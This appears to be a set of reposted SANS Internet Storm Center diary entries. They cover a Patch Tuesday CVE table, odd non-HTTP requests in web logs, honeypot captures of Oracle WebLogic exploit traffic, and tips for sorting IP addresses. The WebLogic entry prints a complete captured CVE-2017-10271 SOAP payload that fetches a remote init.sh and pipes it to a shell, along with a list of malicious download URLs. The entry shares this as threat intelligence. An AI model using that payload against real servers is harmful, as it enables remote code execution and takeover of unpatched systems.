OpenSSL: CVE-2020-1971 EDIPARTYNAME NULL pointer de-reference
%%cve:2020-1971%% No No Less Likely Less Likely Important    
OpenSSL: CVE-2021-3449 NULL pointer deref in signature_algorithms processing
%%cve:2021-3449%% No No Less Likely Less Likely Important    
OpenSSL: CVE-2021-3450 CA certificate check bypass with X509_V_FLAG_X509_STRICT
%%cve:2021-3450%% No No Unlikely Unlikely Important    
Rich Text Edit Control Information Disclosure Vulnerability
%%cve:2021-40454%% No No Less Likely Less Likely Important 5.5 5.1
SCOM Information Disclosure Vulnerability
%%cve:2021-41352%% No No Less Likely Less Likely Important 7.5 6.5
Storage Spaces Controller Elevation of Privilege Vulnerability
%%cve:2021-40478%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40488%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-40489%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-26441%% No No Less Likely Less Likely Important 7.8 6.8
%%cve:2021-41345%% No No Less Likely Less Likely Important 7.8 6.8
Win32k Elevation of Privilege Vulnerability
%%cve:2021-40449%% No Yes Detected Detected Important 7.8 7.2
%%cve:2021-40450%% No No More Likely More Likely Important 7.8 6.8
%%cve:2021-41357%% No No More Likely More Likely Important 7.8 7.2
Windows AD FS Security Feature Bypass Vulnerability
%%cve:2021-40456%% No No Less Likely Less Likely Important 5.3 4.6
Windows AppContainer Elevation Of Privilege Vulnerability
%%cve:2021-40476%% No No Less Likely Less Likely Important 7.5 6.7
Windows AppContainer Firewall Rules Security Feature Bypass Vulnerability
%%cve:2021-41338%% Yes No Less Likely Less Likely Important 5.5 5.0
Windows AppX Deployment Service Elevation of Privilege Vulnerability
%%cve:2021-41347%% No No Less Likely Less Likely Important 7.8 6.8
Windows Bind Filter Driver Information Disclosure Vulnerability
%%cve:2021-40468%% No No Less Likely Less Likely Important 5.5 4.8
Windows Cloud Files Mini Filter Driver Information Disclosure Vulnerability
%%cve:2021-40475%% No No Less Likely Less Likely Important 5.5 4.8
Windows Common Log File System Driver Elevation of Privilege Vulnerability
%%cve:2021-40443%% No No More Likely More Likely Important 7.8 6.8
%%cve:2021-40466%% No No More Likely More Likely Important 7.8 6.8
%%cve:2021-40467%% No No More Likely More Likely Important 7.8 6.8
Windows DNS Server Remote Code Execution Vulnerability
%%cve:2021-40469%% Yes No Less Likely Less Likely Important 7.2 6.5
Windows Desktop Bridge Elevation of Privilege Vulnerability
%%cve:2021-41334%% No No Less Likely Less Likely Important 7.0 6.1
Windows Event Tracing Elevation of Privilege Vulnerability
%%cve:2021-40477%% No No Less Likely Less Likely Important 7.8 6.8
Windows Fast FAT File System Driver Information Disclosure Vulnerability
%%cve:2021-38662%% No No Less Likely Less Likely Important 5.5 4.8
%%cve:2021-41343%% No No Less Likely Less Likely Important 5.5 4.8
Windows Graphics Component Remote Code Execution Vulnerability
%%cve:2021-41340%% No No Less Likely Less Likely Important 7.8 6.8
Windows HTTP.sys Elevation of Privilege Vulnerability
%%cve:2021-26442%% No No Less Likely Less Likely Important 7.0 6.1
Windows Hyper-V Remote Code Execution Vulnerability
%%cve:2021-38672%% No No Less Likely Less Likely Critical 8.0 7.0
%%cve:2021-40461%% No No Less Likely Less Likely Critical 8.0 7.0
Windows Installer Spoofing Vulnerability
%%cve:2021-40455%% No No Less Likely Less Likely Important 5.5 4.8
Windows Kernel Elevation of Privilege Vulnerability
%%cve:2021-41335%% Yes No Less Likely Less Likely Important 7.8 7.0
Windows Kernel Information Disclosure Vulnerability
%%cve:2021-41336%% No No Less Likely Less Likely Important 5.5 4.8
Windows MSHTML Platform Remote Code Execution Vulnerability
%%cve:2021-41342%% No No Less Likely Less Likely Important 6.8 6.1
Windows Media Audio Decoder Remote Code Execution Vulnerability
%%cve:2021-41331%% No No Less Likely Less Likely Important 7.8 6.8
Windows Media Foundation Dolby Digital Atmos Decoders Remote Code Execution Vulnerability
%%cve:2021-40462%% No No Less Likely Less Likely Important 7.8 6.8
Windows NAT Denial of Service Vulnerability
%%cve:2021-40463%% No No Less Likely Less Likely Important 7.7 6.7
Windows Nearby Sharing Elevation of Privilege Vulnerability
%%cve:2021-40464%% No No Less Likely Less Likely Important 8.0 7.0
Windows Print Spooler Information Disclosure Vulnerability
%%cve:2021-41332%% No No Less Likely Less Likely Important 6.5 5.7
Windows Print Spooler Spoofing Vulnerability
%%cve:2021-36970%% No No More Likely More Likely Important 8.8 8.2
Windows Remote Procedure Call Runtime Security Feature Bypass Vulnerability
%%cve:2021-40460%% No No Less Likely Less Likely Important 6.5 5.7
Windows TCP/IP Denial of Service Vulnerability
%%cve:2021-36953%% No No Less Likely Less Likely Important 7.5 6.5
Windows Text Shaping Remote Code Execution Vulnerability
%%cve:2021-40465%% No No Less Likely Less Likely Important 7.8 6.8
Windows exFAT File System Information Disclosure Vulnerability
%%cve:2021-38663%% No No Less Likely Less Likely Important 5.5 4.8


Renato Marinho
Morphus Labs| LinkedIn|Twitter

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Things that go "Bump" in the Night: Non HTTP Requests Hitting Web Servers, (Mon, Oct 11th)

This post was originally published on this site

If you are reviewing your web server logs periodically, you may notice some odd requests that are not HTTP requests in your logs. In particular if you have a web server listening on a non standard port. I want to quickly review some of the most common requests like that, that I am seeing:

t3 12.2.1

You may see a few variations of requests like that. For example "t3 12.1.1" is common as well. These requests are attempting to connect to WebLogic. WebLogic is able to accept data via HTTP (see Guy's diary from this weekend for some example) or it may use the "t3" protocol. "t3" is one way to use "RMI" (Remote Method Invocation) via WebLogic. Due to a few criticial vulnerabilities in WebLogic in recent years, some of which may be exploited via "t3", scans for "t3" are quite common.

CNXN

Android Debug Bridge (ADB) is a protocol that can be used to remotely debug Android devices. Remember that Android is not only used for phones, but also on other devices in particular TV sticks. ADB hasn't been enabled (or simply remotely usable) for many years, but the ability to exeucte arbitrary commands using this propocol is still attractive enough to lead to widespread scanning. I believe that the main target are TV sticks as they tend to be more difficult to update than phones.

SSH-2.0-Go

SSH servers are always of interest. Some users appearantly "hide" them on ports more often used by web server. I got bad news for you: The bad guys figured you out. Hiding an ssh server on an off port worked years ago, and still keeps down the "Mirai" noise a bit. But please: use ssh keys, not passwords.

USER anonymous

Yes, there are still some people using FTP. The boomer file transfer protocol? Really not sure what attackers are hoping to find other than data that has probably already been leaked many many time. They could look for ways to stash some files? But I doubt there are many FTP servers left that have anonymous FTP upload enabled and still disk space left.

x16x03x01

This is actually HTTP (likely), but over TLS. If an https request hits a non-TLS server, you will see the beginning of the client hello being logged. The first four bytes are often 0x16 0x03 0x01 (0x16 – Handshake 0x03,0x01 TLS Version 1.2). The fourth byte is a 0x00, terminating the string as far as logging is concerned. You may see various variations of this.

And finally, a few I have no idea what they attempt to achive. Maybe one of our readers can help?

x05x04

x80.x01

x01defaultn

Let me know if you have any ideas… or other odd non-http logs from your web servers.

 


Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Scanning for Previous Oracle WebLogic Vulnerabilities, (Sat, Oct 9th)

This post was originally published on this site

In the past few weeks, I have captured multiple instance of traffic related to some past Oracle vulnerabilities that have already been patched. The first is related to a RCE (CVE-2017-10271) that can be triggered to execute commands remotely by bypassing the CVE-2017-3506 patch's limitations. The POST contains an init.sh script which doesn't appear to be available for download.

The second example is a vulnerability in the Oracle WebLogic Server component related to a Deserialization Vulnerability (CVE-2019-2725).

Traffic Examples

20210929-120748: 192.168.25.9:7001-47.106.191.51:36562 data
POST /wls-wsat/CoordinatorPortType11 HTTP/1.1
Host: XX.XX.42.114:7001
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)
Content-Length: 611
Connection: close
Content-Type: text/xml
Accept-Encoding: gzip
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"><soapenv:Header><work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/"><java version="1.8.0_131" class="java.beans.XMLDecoder"><void class="java.lang.ProcessBuilder"><array class="java.lang.String" length="3"><void index="0"><string>/bin/bash</string></void><void index="1"><string>-c</string></void><void index="2"><string>cur -fsSL http://45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh |sh</string> </void> </array> <void method="start"/></void></java></work:WorkContext></soapenv:Header><soapenv:Body/></soapenv:Envelope>

20211007-185800: 192.168.25.9:7001-185.128.41.50:39004 data
POST /_async/AsyncResponseService HTTP/1.1
SOAPAction:
Content-type: text/xml
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.3578.98 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.5
Content-Length: 1028
Cache-Control: no-cache
Pragma: no-cache
Host: XX.XX.42.114:7001

Indicators -> /wls-wsat/

45.9.148.37/E5DB0E07C3D7BE80V201007/init.sh
45.9.148.37/cf67356a3333e6999999999/init.sh
185.181.10.234/E5DB0E07C3D7BE80V520/init.sh
helpdeskserver.epelcdn.com/dd210131/init.sh
startbinmanager.epelcdn.com/dd09162/init.sh

[1] https://github.com/s0wr0b1ndef/Oracle-WebLogic-WLS-WSAT
[2] https://www.acunetix.com/vulnerabilities/web/oracle-weblogic-wls-wsat-component-deserialization-rce/
[3] https://nvd.nist.gov/vuln/detail/CVE-2017-3506
[4] https://nvd.nist.gov/vuln/detail/CVE-2017-10271
[5] https://nvd.nist.gov/vuln/detail/CVE-2019-2725
[6] https://nvd.nist.gov/vuln/detail/CVE-2019-2729
[7] https://isc.sans.edu/forums/diary/Update+about+Weblogic+CVE20192725+Exploits+Used+in+the+Wild+Patch+Status/24890
[8] https://isc.sans.edu/forums/diary/Unpatched+Vulnerability+Alert+WebLogic+Zero+Day/24880/
[9] https://isc.sans.edu/forums/diary/Cryptojacking+Targeting+WebLogic+TCP7001/26768

———–
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.

Sorting Things Out – Sorting Data by IP Address, (Fri, Oct 8th)

This post was originally published on this site

One thing that is huge in making sense of large volumes of data is sorting.  Which makes having good sorting tools and methods a big deal when you are working through findings in a security assessment of pentest.  Or – just as importantly – in day-to-day system administration.

I stumbled into a Twitter thread last week (as one does) about sorting by IP address, and it struck me that the lowly “sort” command has changed quite a bit since I last read the man page completely for it (back in the ‘80’s, in the Bell Labs Unix books.  And yes, they were printed on paper). 

No matter if you are in the red team or the blue team, you’re forever having to sort hostnames or IP addresses, sort findings / vulnerabilities by hostname or IP, or sort hostnames by vulnerabilities / findings.

So let’s look at sorting by IP.  For this, we can use the “-V” (or –version-sort) argument of the sort command.  This sorts things by “version”  (as in decimal separated numeric strings).  This option matches up very nicely to what you want if you are sorting by IPv4 address, which is also a series of point-separated numeric strings. Let’s find the IP’s in my lab that have SSH open, then reverse-sort them by IP address:

# nmap –p22 –open 192.168.122.0/24 –oG ips.txt

# cat ips.txt | grep Host: | cut -d " " -f 2 | sort -Vr | uniq

192.168.122.186

192.168.122.176

192.168.122.113

192.168.122.101

192.168.122.51

192.168.122.8

192.168.122.7

192.168.122.6

192.168.122.5

192.168.122.1

 (thanks @flakpaket for this tidbit, this is an option that wasn’t in the paper Bell Labs Unix manuals back in the day!)

Or, what if you’ve got a list of files – for instance syslog files with IP addresses for filenames that you might want to sort?  The option for ls to sort by version is a lower case “v”.  Adding a “1” tells ls to give you the output as one line per file:

robv@ubuntu:/syslog$ ls -v1

192.168.122.1.txt

192.168.122.82.txt

192.168.122.83.txt

192.168.122.84.txt

192.168.122.92.txt

192.168.122.93.txt

192.168.122.94.txt

192.168.122.100.txt

192.168.122.254.txt

 

 (also thanks to @flakpaket, this was also new to me!)

What if you’re on an older version of Linux – or (as I am some days), you’re on an older Windows host that has GNUtils installed instead of WSL?  In that case, you can tell sort to delimit your output with a “.”, then tell it which fields to sort on (in this case, fields 1-2-3-4).  This is an oldy, and the one that’s in my personal cheat-sheet from forever ago (but mentioned by @totalclaireity in this same thread)

$ ls /syslog | sort  -r -t . -k 1,1n -k 2,2n -k 3,3n -k 4,4n

Or, since everything is in the same /24 subnet, we can just sort by the 4th octet:

$ ls /syslog | sort  -r -t . -k 4,4n

What about PowerShell?  In that same thread, @mdjxkln shows us that there’s a version option for PowerShell as well:

$ips = nmap -p22 –open 192.168.122.0/24 | grep report |cut -d" " -f 5

$ips |sort {[version] $_}

192.168.122.1

192.168.122.5

192.168.122.6

192.168.122.7

192.168.122.8

192.168.122.51

192.168.122.101

192.168.122.102

192.168.122.113

192.168.122.120

192.168.122.176

192.168.122.186

192.168.122.194

Or, in a bit more readable format:

$ips | sort {$_ -as [version]}

In another use case, let’s check all hosts in a domain (and yes, I did shorten this list), then sort them by IP:

$pcs = get-adcomputer -filter * -property Name,dnshostname,OperatingSystem,Operatingsystemversion,LastLogonDate,IPV4Address

PS C:Usersrobv> $pcs | Sort-Object { $_.IPV4Address -as [version]} | Select-Object name,IPV4Address

SAMETIME        32.69.129.51

HIGHRIDGE       32.69.129.82

AMADA-SVR       32.69.129.84

RECEIVING-DTP   32.69.129.88

STEVE-LTP    32.69.129.91

CSIPRINT        32.69.129.95

AVAYAVMAIL      32.69.129.99

BARTENDER       32.69.129.109

UNIONOFFICE2-DTP   32.69.129.117

SHIPPING1-DTP   32.69.129.129

ALUM-DTP        32.69.129.137

PUNCHPRESS2-DTP      192.168.6.31

LOBBY-DTP       192.168.6.41

MARKETING-DTP   192.168.6.49

ENGLOANER2-LTP  192.168.253.25

How can you make sorting easier?  Naming Conventions is the traditional answer to that.  Naming conventions are like belly buttons – everyone has one, and everyone’s is different!    The important thing when setting one up is to keep in mind that you'll be using tools like sort and grep (or the PowerShell / Python equivalents), find and findstr in Windows, or Excel once you start formatting your output, and work your naming convention to take advantage of that. 

Have I missed any neat sort methods that you use daily?  Or is there a more effiicient syntax for what I've shown in this post?  Very likely – please, use our comment section to add to these methods!

References:

Thanks of course to @flakpaket (Jon Gorenflo) who started the twitter thread:

https://twitter.com/flakpaket/status/1445419600624095236

$ man sort  (of course)

https://community.idera.com/database-tools/powershell/powertips/b/tips/posts/sort-ipv4-addresses-correctly

And of course SANS SEC505: https://www.sans.org/cyber-security-courses/securing-windows-with-powershell/

===============
Rob VandenBrink
rob <at> coherentsecurity.com

(c) SANS Internet Storm Center. https://isc.sans.edu Creative Commons Attribution-Noncommercial 3.0 United States License.